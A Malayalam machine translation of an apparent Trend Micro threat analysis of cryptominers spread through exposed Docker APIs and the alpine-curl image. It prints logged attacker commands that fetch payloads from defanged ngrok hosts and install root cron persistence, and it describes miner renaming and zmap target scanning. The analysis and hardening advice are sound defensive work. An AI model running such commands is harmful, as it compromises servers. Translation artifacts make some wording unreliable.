ക്രിപ്‌റ്റോകറൻസി ഖനിത്തൊഴിലാളികൾ വിതരണം ചെയ്യാൻ നോൺ-പ്രൊപ്രൈറ്ററി ഡോക്കർ എപിഐയും കമ്മ്യൂണിറ്റിയിൽ നിന്നുള്ള പൊതു ചിത്രങ്ങളും എങ്ങനെ ഉപയോഗിക്കുന്നു

ഭീഷണികൾ ട്രാക്ക് ചെയ്യാൻ ഞങ്ങൾ സൃഷ്ടിച്ച ഹണിപോട്ട് കണ്ടെയ്‌നറുകൾ ഉപയോഗിച്ച് ശേഖരിച്ച ഡാറ്റ ഞങ്ങൾ വിശകലനം ചെയ്തു. ഡോക്കർ ഹബിൽ കമ്മ്യൂണിറ്റി-പ്രസിദ്ധീകരിച്ച ചിത്രം ഉപയോഗിച്ച് തെമ്മാടി കണ്ടെയ്‌നറുകളായി വിന്യസിച്ചിരിക്കുന്ന അനാവശ്യമോ അനധികൃതമോ ആയ ക്രിപ്‌റ്റോകറൻസി ഖനിത്തൊഴിലാളികളിൽ നിന്നുള്ള കാര്യമായ പ്രവർത്തനം ഞങ്ങൾ കണ്ടെത്തി. ക്ഷുദ്രകരമായ ക്രിപ്‌റ്റോകറൻസി ഖനിത്തൊഴിലാളികളെ വിതരണം ചെയ്യുന്ന ഒരു സേവനത്തിന്റെ ഭാഗമായാണ് ചിത്രം ഉപയോഗിക്കുന്നത്.

കൂടാതെ, തുറന്ന അയൽ പാത്രങ്ങളിലേക്കും ആപ്ലിക്കേഷനുകളിലേക്കും തുളച്ചുകയറാൻ നെറ്റ്‌വർക്കുകളിൽ പ്രവർത്തിക്കുന്നതിനുള്ള പ്രോഗ്രാമുകൾ ഇൻസ്റ്റാൾ ചെയ്തിട്ടുണ്ട്.

സുരക്ഷാ നടപടികളോ അധിക സോഫ്‌റ്റ്‌വെയറിന്റെ തുടർന്നുള്ള ഇൻസ്റ്റാളേഷനോ ഇല്ലാതെ ഞങ്ങൾ ഞങ്ങളുടെ ഹണിപോട്ടുകൾ അതേപടി ഉപേക്ഷിക്കുന്നു, അതായത്, സ്ഥിരസ്ഥിതി ക്രമീകരണങ്ങളോടെ. പിശകുകളും ലളിതമായ കേടുപാടുകളും ഒഴിവാക്കാൻ ഡോക്കറിന് പ്രാരംഭ സജ്ജീകരണത്തിനുള്ള ശുപാർശകൾ ഉണ്ടെന്നത് ശ്രദ്ധിക്കുക. എന്നാൽ ഉപയോഗിക്കുന്ന ഹണിപോട്ടുകൾ കണ്ടെയ്‌നറുകളാണ്, കണ്ടെയ്‌നറൈസേഷൻ പ്ലാറ്റ്‌ഫോമിനെ ലക്ഷ്യമിട്ടുള്ള ആക്രമണങ്ങൾ കണ്ടെത്തുന്നതിന് രൂപകൽപ്പന ചെയ്‌തിരിക്കുന്നു, കണ്ടെയ്‌നറിനുള്ളിലെ ആപ്ലിക്കേഷനുകളല്ല.

കണ്ടെത്തിയ ക്ഷുദ്ര പ്രവർത്തനവും ശ്രദ്ധേയമാണ്, കാരണം ഇതിന് കേടുപാടുകൾ ആവശ്യമില്ല, കൂടാതെ ഡോക്കർ പതിപ്പിൽ നിന്ന് സ്വതന്ത്രവുമാണ്. തെറ്റായി കോൺഫിഗർ ചെയ്‌തതും അതിനാൽ തുറന്നതുമായ കണ്ടെയ്‌നർ ഇമേജ് കണ്ടെത്തുന്നത് ആക്രമണകാരികൾക്ക് നിരവധി ഓപ്പൺ സെർവറുകളെ ബാധിക്കേണ്ടതുണ്ട്.

അൺക്ലോസ്ഡ് ഡോക്കർ API ഉപയോക്താവിനെ വിശാലമായ ശ്രേണിയിൽ പ്രവർത്തിക്കാൻ അനുവദിക്കുന്നു ടീമുകൾ, പ്രവർത്തിക്കുന്ന കണ്ടെയ്‌നറുകളുടെ ഒരു ലിസ്റ്റ് നേടൽ, ഒരു നിർദ്ദിഷ്‌ട കണ്ടെയ്‌നറിൽ നിന്ന് ലോഗുകൾ നേടൽ, ആരംഭിക്കൽ, നിർത്തൽ (നിർബന്ധിതം ഉൾപ്പെടെ) കൂടാതെ നിർദ്ദിഷ്ട ക്രമീകരണങ്ങളുള്ള ഒരു നിർദ്ദിഷ്‌ട ഇമേജിൽ നിന്ന് ഒരു പുതിയ കണ്ടെയ്‌നർ സൃഷ്‌ടിക്കുന്നത് ഉൾപ്പെടെ.

ഇടതുവശത്ത് മാൽവെയർ ഡെലിവറി രീതിയാണ്. വലതുവശത്ത് ആക്രമണകാരിയുടെ പരിതസ്ഥിതിയുണ്ട്, ഇത് ചിത്രങ്ങളിൽ നിന്ന് വിദൂരമായി റോളിംഗ് ചെയ്യാൻ അനുവദിക്കുന്നു.

3762 ഓപ്പൺ ഡോക്കർ API-കളുടെ രാജ്യം അനുസരിച്ചുള്ള വിതരണം. 12.02.2019/XNUMX/XNUMX തീയതിയിലെ ഷോഡൻ തിരയലിനെ അടിസ്ഥാനമാക്കി

അറ്റാക്ക് ചെയിൻ, പേലോഡ് ഓപ്ഷനുകൾ

ഹണിപോട്ടുകളുടെ സഹായത്തോടെ മാത്രമല്ല ക്ഷുദ്രകരമായ പ്രവർത്തനം കണ്ടെത്തിയത്. Monero ക്രിപ്‌റ്റോകറൻസി മൈനിംഗ് സോഫ്‌റ്റ്‌വെയർ വിന്യസിക്കാൻ ഒരു ബ്രിഡ്ജ് ആയി ഉപയോഗിച്ച തെറ്റായ കോൺഫിഗർ ചെയ്ത കണ്ടെയ്‌നർ ഞങ്ങൾ അന്വേഷിച്ചതിന് ശേഷം തുറന്നുകാട്ടപ്പെട്ട ഡോക്കർ API-കളുടെ എണ്ണം (രണ്ടാമത്തെ ഗ്രാഫ് കാണുക) വർദ്ധിച്ചതായി ഷോഡനിൽ നിന്നുള്ള ഡാറ്റ കാണിക്കുന്നു. കഴിഞ്ഞ വർഷം ഒക്ടോബറിൽ (2018, നിലവിലെ ഡാറ്റ നിങ്ങൾക്ക് ഇതുപോലെ കാണാൻ കഴിയും ഏകദേശം. വിവർത്തകൻ) 856 ഓപ്പൺ എപിഐകൾ മാത്രമേ ഉണ്ടായിരുന്നുള്ളൂ.

ഹണിപോട്ട് ലോഗുകളുടെ പരിശോധനയിൽ കണ്ടെയ്‌നർ ഇമേജ് ഉപയോഗവും ഉപയോഗവുമായി ബന്ധപ്പെട്ടിരിക്കുന്നുവെന്ന് കാണിച്ചു ngrok, സുരക്ഷിത കണക്ഷനുകൾ സ്ഥാപിക്കുന്നതിനോ പൊതുവായി ആക്സസ് ചെയ്യാവുന്ന പോയിന്റുകളിൽ നിന്ന് നിർദ്ദിഷ്ട വിലാസങ്ങളിലേക്കോ ഉറവിടങ്ങളിലേക്കോ ട്രാഫിക് ഫോർവേഡ് ചെയ്യുന്നതിനോ ഉള്ള ഒരു ഉപകരണം (ഉദാഹരണത്തിന് ലോക്കൽ ഹോസ്റ്റ്). ഓപ്പൺ സെർവറിലേക്ക് പേലോഡ് ഡെലിവർ ചെയ്യുമ്പോൾ ആക്രമണകാരികളെ ചലനാത്മകമായി URL-കൾ സൃഷ്ടിക്കാൻ ഇത് അനുവദിക്കുന്നു. ngrok സേവനത്തിന്റെ ദുരുപയോഗം കാണിക്കുന്ന ലോഗുകളിൽ നിന്നുള്ള കോഡ് ഉദാഹരണങ്ങൾ ചുവടെയുണ്ട്:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

നിങ്ങൾക്ക് കാണാനാകുന്നതുപോലെ, അപ്‌ലോഡ് ചെയ്ത ഫയലുകൾ നിരന്തരം മാറിക്കൊണ്ടിരിക്കുന്ന URL-കളിൽ നിന്നാണ് ഡൗൺലോഡ് ചെയ്യുന്നത്. ഈ URL-കൾക്ക് ഒരു ചെറിയ കാലഹരണ തീയതി ഉണ്ട്, അതിനാൽ കാലഹരണപ്പെടുന്ന തീയതിക്ക് ശേഷം പേലോഡുകൾ ഡൗൺലോഡ് ചെയ്യാൻ കഴിയില്ല.

രണ്ട് പേലോഡ് ഓപ്ഷനുകൾ ഉണ്ട്. ആദ്യത്തേത് ELF ഫോർമാറ്റിലുള്ള ഒരു കംപൈൽ ചെയ്ത മൈനറാണ്. Linux (Coinminer.SH.MALXMR.ATNO എന്ന് തിരിച്ചറിയുന്നു), ഇത് മൈനിംഗ് പൂളുമായി ബന്ധിപ്പിക്കുന്നു. രണ്ടാമത്തേത് ഒരു സ്ക്രിപ്റ്റ് (TrojanSpy.SH.ZNETMAP.A) ആണ്, ഇത് നെറ്റ്‌വർക്ക് ശ്രേണികൾ സ്കാൻ ചെയ്യാനും പുതിയ ലക്ഷ്യങ്ങൾക്കായി തിരയാനും ഉപയോഗിക്കുന്ന ചില നെറ്റ്‌വർക്ക് ഉപകരണങ്ങൾ നേടുന്നതിനായി രൂപകൽപ്പന ചെയ്‌തിരിക്കുന്നു.

ഡ്രോപ്പർ സ്ക്രിപ്റ്റ് രണ്ട് വേരിയബിളുകൾ സജ്ജമാക്കുന്നു, അവ പിന്നീട് ക്രിപ്‌റ്റോകറൻസി മൈനറിനെ വിന്യസിക്കാൻ ഉപയോഗിക്കുന്നു. ക്ഷുദ്ര ഫയലുകൾ സ്ഥിതിചെയ്യുന്ന URL HOST വേരിയബിളിൽ അടങ്ങിയിരിക്കുന്നു, കൂടാതെ RIP വേരിയബിൾ എന്നത് വിന്യസിക്കേണ്ട ഖനിത്തൊഴിലാളിയുടെ ഫയൽ നാമമാണ് (വാസ്തവത്തിൽ, ഹാഷ്). ഓരോ തവണ ഹാഷ് വേരിയബിൾ മാറുമ്പോഴും HOST വേരിയബിൾ മാറുന്നു. ആക്രമിക്കപ്പെട്ട സെർവറിൽ മറ്റ് ക്രിപ്‌റ്റോകറൻസി മൈനർമാരൊന്നും പ്രവർത്തിക്കുന്നില്ലെന്ന് പരിശോധിക്കാനും സ്‌ക്രിപ്റ്റ് ശ്രമിക്കുന്നു.

HOST, RIP വേരിയബിളുകളുടെ ഉദാഹരണങ്ങളും മറ്റ് ഖനിത്തൊഴിലാളികളൊന്നും പ്രവർത്തിക്കുന്നില്ലെന്ന് പരിശോധിക്കാൻ ഉപയോഗിക്കുന്ന ഒരു കോഡ് സ്‌നിപ്പറ്റും

മൈനർ ആരംഭിക്കുന്നതിന് മുമ്പ്, അതിനെ nginx എന്ന് പുനർനാമകരണം ചെയ്യുന്നു. ഈ സ്ക്രിപ്റ്റിന്റെ മറ്റ് പതിപ്പുകൾ മൈനറിനെ പരിസ്ഥിതിയിൽ ഉണ്ടാകാവുന്ന മറ്റ് നിയമാനുസൃത സേവനങ്ങളിലേക്ക് പുനർനാമകരണം ചെയ്യുന്നു. Linuxറൺ ചെയ്യുന്ന പ്രക്രിയകളുടെ പട്ടികയിലെ പരിശോധനകൾ മറികടക്കാൻ ഇത് സാധാരണയായി മതിയാകും.

സെർച്ച് സ്ക്രിപ്റ്റിനും സവിശേഷതകളുണ്ട്. ആവശ്യമായ ഉപകരണങ്ങൾ വിന്യസിക്കാൻ ഒരേ URL സേവനത്തിൽ ഇത് പ്രവർത്തിക്കുന്നു. അവയിൽ zmap ബൈനറി ഉണ്ട്, ഇത് നെറ്റ്‌വർക്കുകൾ സ്കാൻ ചെയ്യാനും ഓപ്പൺ പോർട്ടുകളുടെ ഒരു ലിസ്റ്റ് നേടാനും ഉപയോഗിക്കുന്നു. കണ്ടെത്തിയ സേവനങ്ങളുമായി സംവദിക്കാനും അവയിൽ നിന്ന് ബാനറുകൾ സ്വീകരിക്കാനും ഉപയോഗിക്കുന്ന മറ്റൊരു ബൈനറിയും സ്ക്രിപ്റ്റ് ലോഡ് ചെയ്യുന്നു, കണ്ടെത്തിയ സേവനത്തെക്കുറിച്ചുള്ള കൂടുതൽ വിവരങ്ങൾ നിർണ്ണയിക്കാൻ (ഉദാഹരണത്തിന്, അതിന്റെ പതിപ്പ്).

സ്‌ക്രിപ്റ്റ് ചില നെറ്റ്‌വർക്ക് ശ്രേണികൾ സ്കാൻ ചെയ്യാൻ മുൻകൂട്ടി നിശ്ചയിക്കുന്നു, എന്നാൽ ഇത് സ്ക്രിപ്റ്റിന്റെ പതിപ്പിനെ ആശ്രയിച്ചിരിക്കുന്നു. സ്കാൻ പ്രവർത്തിപ്പിക്കുന്നതിന് മുമ്പ്, സേവനങ്ങളിൽ നിന്നുള്ള ടാർഗെറ്റ് പോർട്ടുകളും ഇത് സജ്ജീകരിക്കുന്നു - ഈ സാഹചര്യത്തിൽ, ഡോക്കർ.

സാധ്യതയുള്ള ടാർഗെറ്റുകൾ കണ്ടെത്തിക്കഴിഞ്ഞാൽ, ബാനറുകൾ അവയിൽ നിന്ന് യാന്ത്രികമായി നീക്കം ചെയ്യപ്പെടും. സ്ക്രിപ്റ്റ് അതിന് താൽപ്പര്യമുള്ള സേവനങ്ങൾ, ആപ്ലിക്കേഷനുകൾ, ഘടകങ്ങൾ അല്ലെങ്കിൽ പ്ലാറ്റ്‌ഫോമുകൾ എന്നിവയെ അടിസ്ഥാനമാക്കി ടാർഗെറ്റുകളെ ഫിൽട്ടർ ചെയ്യുന്നു: റെഡിസ്, ജെൻകിൻസ്, Drupal, മോഡ്എക്സ്, കുബർനെറ്റസ് മാസ്റ്റർ, ഡോക്കർ 1.16 ക്ലയന്റ്, അപ്പാച്ചെ CouchDB. സ്‌കാൻ ചെയ്‌ത സെർവർ അവയിലേതെങ്കിലുമായി പൊരുത്തപ്പെടുന്നെങ്കിൽ, അത് ഒരു ടെക്‌സ്‌റ്റ് ഫയലിൽ സേവ് ചെയ്യപ്പെടും, ആക്രമണകാരികൾക്ക് പിന്നീടുള്ള വിശകലനത്തിനും ഹാക്കിംഗിനും ഇത് ഉപയോഗിക്കാം. ഈ ടെക്‌സ്‌റ്റ് ഫയലുകൾ ഡൈനാമിക് ലിങ്കുകൾ വഴി ആക്രമണകാരികളുടെ സെർവറുകളിലേക്ക് അപ്‌ലോഡ് ചെയ്യപ്പെടുന്നു. അതായത്, ഓരോ ഫയലിനും ഒരു പ്രത്യേക URL ഉപയോഗിക്കുന്നു, അതായത് തുടർന്നുള്ള ആക്സസ് ബുദ്ധിമുട്ടാണ്.

ആക്രമണ വെക്റ്റർ ഒരു ഡോക്കർ ചിത്രമാണ്, അടുത്ത രണ്ട് കോഡുകളിൽ കാണാൻ കഴിയും.

മുകളിൽ ഒരു നിയമാനുസൃത സേവനത്തിലേക്ക് പുനർനാമകരണം ചെയ്യുന്നു, കൂടാതെ നെറ്റ്‌വർക്കുകൾ സ്കാൻ ചെയ്യാൻ zmap എങ്ങനെ ഉപയോഗിക്കുന്നു എന്നതും ചുവടെയുണ്ട്.

മുകളിൽ മുൻനിശ്ചയിച്ച നെറ്റ്‌വർക്ക് ശ്രേണികളുണ്ട്, ചുവടെ ഡോക്കർ ഉൾപ്പെടെയുള്ള സേവനങ്ങൾക്കായി തിരയുന്നതിനുള്ള പ്രത്യേക പോർട്ടുകളുണ്ട്.

ആൽപൈൻ ചുരുളൻ ചിത്രം 10 ദശലക്ഷത്തിലധികം തവണ ഡൗൺലോഡ് ചെയ്‌തതായി സ്‌ക്രീൻഷോട്ട് കാണിക്കുന്നു

ആൽപൈൻ അടിസ്ഥാനമാക്കിയുള്ളത് Linux വിവിധ പ്രോട്ടോക്കോളുകളിലൂടെ ഫയലുകൾ കൈമാറുന്നതിനുള്ള റിസോഴ്‌സ്-കാര്യക്ഷമമായ CLI ടൂളായ curl, കംപൈൽ ചെയ്യാൻ കഴിയും. ഡോക്കർ ചിത്രം. മുമ്പത്തെ ചിത്രത്തിൽ നിങ്ങൾക്ക് കാണാനാകുന്നതുപോലെ, ഈ ചിത്രം ഇതിനകം 10 ദശലക്ഷത്തിലധികം തവണ ഡൗൺലോഡ് ചെയ്തിട്ടുണ്ട്. ധാരാളം ഡൗൺലോഡുകൾ ഈ ചിത്രം ഒരു എൻട്രി പോയിന്റായി ഉപയോഗിക്കുന്നതിനെ അർത്ഥമാക്കാം; ഈ ചിത്രം ആറ് മാസത്തിലേറെ മുമ്പ് അപ്‌ഡേറ്റ് ചെയ്‌തതാണ്; ഉപയോക്താക്കൾ ഈ ശേഖരത്തിൽ നിന്ന് മറ്റ് ചിത്രങ്ങൾ പലപ്പോഴും ഡൗൺലോഡ് ചെയ്യുന്നില്ല. ഡോക്കറിൽ പ്രവേശന പോയിന്റ് - ഒരു കണ്ടെയ്‌നർ പ്രവർത്തിപ്പിക്കുന്നതിനായി കോൺഫിഗർ ചെയ്യാൻ ഉപയോഗിക്കുന്ന ഒരു കൂട്ടം നിർദ്ദേശങ്ങൾ. എൻട്രി പോയിന്റ് ക്രമീകരണങ്ങൾ തെറ്റാണെങ്കിൽ (ഉദാഹരണത്തിന്, കണ്ടെയ്നർ ഇന്റർനെറ്റിൽ നിന്ന് തുറന്നിരിക്കുന്നു), ചിത്രം ഒരു ആക്രമണ വെക്റ്ററായി ഉപയോഗിക്കാം. തെറ്റായി കോൺഫിഗർ ചെയ്‌തതോ തുറന്നതോ ആയ കണ്ടെയ്‌നർ പിന്തുണയ്‌ക്കാതെ അവശേഷിക്കുന്നതായി കണ്ടെത്തിയാൽ, ആക്രമണകാരികൾക്ക് പേലോഡ് നൽകാൻ ഇത് ഉപയോഗിക്കാം.

ഈ ചിത്രം (ആൽപൈൻ-ചുരുളൻ) തന്നെ ക്ഷുദ്രകരമല്ല എന്നത് ശ്രദ്ധിക്കേണ്ടതാണ്, എന്നാൽ നിങ്ങൾക്ക് മുകളിൽ കാണുന്നത് പോലെ, ക്ഷുദ്രകരമായ പ്രവർത്തനങ്ങൾ നടത്താൻ ഇത് ഉപയോഗിക്കാം. സമാനമായ ഡോക്കർ ചിത്രങ്ങൾ ക്ഷുദ്രകരമായ പ്രവർത്തനങ്ങൾ നടത്താനും ഉപയോഗിക്കാം. ഞങ്ങൾ ഡോക്കറെ ബന്ധപ്പെടുകയും അവരുമായി ഈ പ്രശ്നത്തിൽ പ്രവർത്തിക്കുകയും ചെയ്തു.

ശുപാർശകൾ

തെറ്റായ ക്രമീകരണം അവശേഷിക്കുന്നു നിരന്തരമായ പ്രശ്നം പല കമ്പനികൾക്കും, പ്രത്യേകിച്ച് നടപ്പിലാക്കുന്നവ DevOps, ദ്രുതഗതിയിലുള്ള വികസനത്തിലും ഡെലിവറിയിലും ശ്രദ്ധ കേന്ദ്രീകരിച്ചു. ഓഡിറ്റിംഗ്, മോണിറ്ററിംഗ് നിയമങ്ങൾ പാലിക്കേണ്ടതിന്റെ ആവശ്യകത, ഡാറ്റയുടെ രഹസ്യാത്മകത നിരീക്ഷിക്കേണ്ടതിന്റെ ആവശ്യകത, അതുപോലെ തന്നെ അവ പാലിക്കാത്തതിൽ നിന്നുള്ള വലിയ നാശനഷ്ടങ്ങൾ എന്നിവയാൽ എല്ലാം കൂടുതൽ വഷളാകുന്നു. ഡെവലപ്‌മെന്റ് ലൈഫ് സൈക്കിളിൽ സെക്യൂരിറ്റി ഓട്ടോമേഷൻ ഉൾപ്പെടുത്തുന്നത്, കണ്ടുപിടിക്കപ്പെടാതെ പോയേക്കാവുന്ന സുരക്ഷാ ദ്വാരങ്ങൾ കണ്ടെത്താൻ നിങ്ങളെ സഹായിക്കുക മാത്രമല്ല, ഒരു ആപ്ലിക്കേഷൻ വിന്യസിച്ചതിന് ശേഷം കണ്ടെത്തിയ ഓരോ കേടുപാടുകൾക്കും അല്ലെങ്കിൽ തെറ്റായ കോൺഫിഗറേഷനും അധിക സോഫ്റ്റ്‌വെയർ ബിൽഡുകൾ പ്രവർത്തിപ്പിക്കുന്നത് പോലെയുള്ള അനാവശ്യ ജോലിഭാരം കുറയ്ക്കാനും ഇത് നിങ്ങളെ സഹായിക്കുന്നു.

ഈ ലേഖനത്തിൽ ചർച്ച ചെയ്ത സംഭവം, ഇനിപ്പറയുന്ന ശുപാർശകൾ ഉൾപ്പെടെ, തുടക്കം മുതൽ സുരക്ഷ കണക്കിലെടുക്കേണ്ടതിന്റെ ആവശ്യകത എടുത്തുകാണിക്കുന്നു:

• സിസ്റ്റം അഡ്‌മിനിസ്‌ട്രേറ്റർമാർക്കും ഡെവലപ്പർമാർക്കും: ഒരു നിർദ്ദിഷ്‌ട സെർവറിൽ നിന്നോ ഇന്റേണൽ നെറ്റ്‌വർക്കിൽ നിന്നോ ഉള്ള അഭ്യർത്ഥനകൾ മാത്രം സ്വീകരിക്കുന്നതിന് എല്ലാം ക്രമീകരിച്ചിട്ടുണ്ടെന്ന് ഉറപ്പാക്കാൻ നിങ്ങളുടെ API ക്രമീകരണങ്ങൾ എപ്പോഴും പരിശോധിക്കുക.
• കുറഞ്ഞ അവകാശങ്ങൾ എന്ന തത്വം പിന്തുടരുക: കണ്ടെയ്‌നർ ഇമേജുകൾ ഒപ്പിട്ടിട്ടുണ്ടെന്നും പരിശോധിച്ചുറപ്പിച്ചിട്ടുണ്ടെന്നും ഉറപ്പാക്കുക, നിർണായക ഘടകങ്ങളിലേക്കുള്ള ആക്‌സസ് പരിമിതപ്പെടുത്തുക (കണ്ടെയ്‌നർ ലോഞ്ച് സേവനം) കൂടാതെ നെറ്റ്‌വർക്ക് കണക്ഷനുകളിലേക്ക് എൻക്രിപ്ഷൻ ചേർക്കുക.
• പിന്തുടരുക ശുപാർശകൾ കൂടാതെ സുരക്ഷാ സംവിധാനങ്ങൾ പ്രവർത്തനക്ഷമമാക്കുക, ഉദാ. ഡോക്കറിൽ നിന്ന് ഒപ്പം അന്തർനിർമ്മിതവും സുരക്ഷാ സവിശേഷതകൾ.
• കണ്ടെയ്‌നറിൽ പ്രവർത്തിക്കുന്ന പ്രക്രിയകളെക്കുറിച്ചുള്ള കൂടുതൽ വിവരങ്ങൾ ലഭിക്കുന്നതിന് റൺടൈമുകളുടെയും ചിത്രങ്ങളുടെയും യാന്ത്രിക സ്കാനിംഗ് ഉപയോഗിക്കുക (ഉദാഹരണത്തിന്, വഞ്ചന കണ്ടെത്തുന്നതിനോ കേടുപാടുകൾക്കായി തിരയുന്നതിനോ). സെർവറുകൾ, ഫയലുകൾ, സിസ്റ്റം ഏരിയകൾ എന്നിവയിലെ അസാധാരണ മാറ്റങ്ങൾ ട്രാക്ക് ചെയ്യാൻ ആപ്ലിക്കേഷൻ നിയന്ത്രണവും സമഗ്രത നിരീക്ഷണവും സഹായിക്കുന്നു.

Trendmicro DevOps ടീമുകളെ സുരക്ഷിതമായി നിർമ്മിക്കാനും വേഗത്തിൽ പുറത്തിറക്കാനും എവിടെയും സമാരംഭിക്കാനും സഹായിക്കുന്നു. ട്രെൻഡ് മൈക്രോ ഹൈബ്രിഡ് ക്ലൗഡ് സെക്യൂരിറ്റി ഒരു ഓർഗനൈസേഷന്റെ DevOps പൈപ്പ്‌ലൈനിലുടനീളം ശക്തവും കാര്യക്ഷമവും സ്വയമേവയുള്ളതുമായ സുരക്ഷ നൽകുന്നു കൂടാതെ ഒന്നിലധികം ഭീഷണി പ്രതിരോധങ്ങൾ നൽകുന്നു XGen റൺടൈമിൽ ഫിസിക്കൽ, വെർച്വൽ, ക്ലൗഡ് വർക്ക്ലോഡുകൾ പരിരക്ഷിക്കാൻ. ഇത് കണ്ടെയ്നർ സുരക്ഷയും ചേർക്കുന്നു ആഴത്തിലുള്ള സുരക്ഷ и ഡീപ് സെക്യൂരിറ്റി സ്മാർട്ട് ചെക്ക്, വിന്യസിക്കുന്നതിന് മുമ്പ് ഭീഷണികൾ തടയുന്നതിന് വികസന പൈപ്പ്ലൈനിലെ ഏത് ഘട്ടത്തിലും ക്ഷുദ്രവെയറുകൾക്കും കേടുപാടുകൾക്കുമായി ഡോക്കർ കണ്ടെയ്നർ ചിത്രങ്ങൾ സ്കാൻ ചെയ്യുന്നു.

വിട്ടുവീഴ്ചയുടെ അടയാളങ്ങൾ

അനുബന്ധ ഹാഷുകൾ:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

ഓൺ ഡോക്കർ വീഡിയോ കോഴ്സ് സാധ്യത കുറയ്ക്കുന്നതിനോ മുകളിൽ വിവരിച്ച സാഹചര്യം പൂർണ്ണമായും ഒഴിവാക്കുന്നതിനോ ആദ്യം എന്തെല്ലാം ക്രമീകരണങ്ങൾ ചെയ്യണമെന്ന് പ്രാക്ടീസ് ചെയ്യുന്ന സ്പീക്കറുകൾ കാണിക്കുന്നു. കൂടാതെ ഓഗസ്റ്റ് 19-21 തീയതികളിൽ ഒരു ഓൺലൈൻ ഇന്റൻസീവ് DevOps ടൂളുകളും ചീറ്റുകളും പരിചയസമ്പന്നരായ സഹപ്രവർത്തകരുടെ വേദനകളും വിജയങ്ങളും എല്ലാവർക്കും സംസാരിക്കാനും കേൾക്കാനും കഴിയുന്ന ഒരു റൗണ്ട് ടേബിളിൽ സഹപ്രവർത്തകരുമായും പരിശീലന അധ്യാപകരുമായും നിങ്ങൾക്ക് ഇവയും സമാനമായ സുരക്ഷാ പ്രശ്‌നങ്ങളും ചർച്ച ചെയ്യാം.

അവലംബം: www.habr.com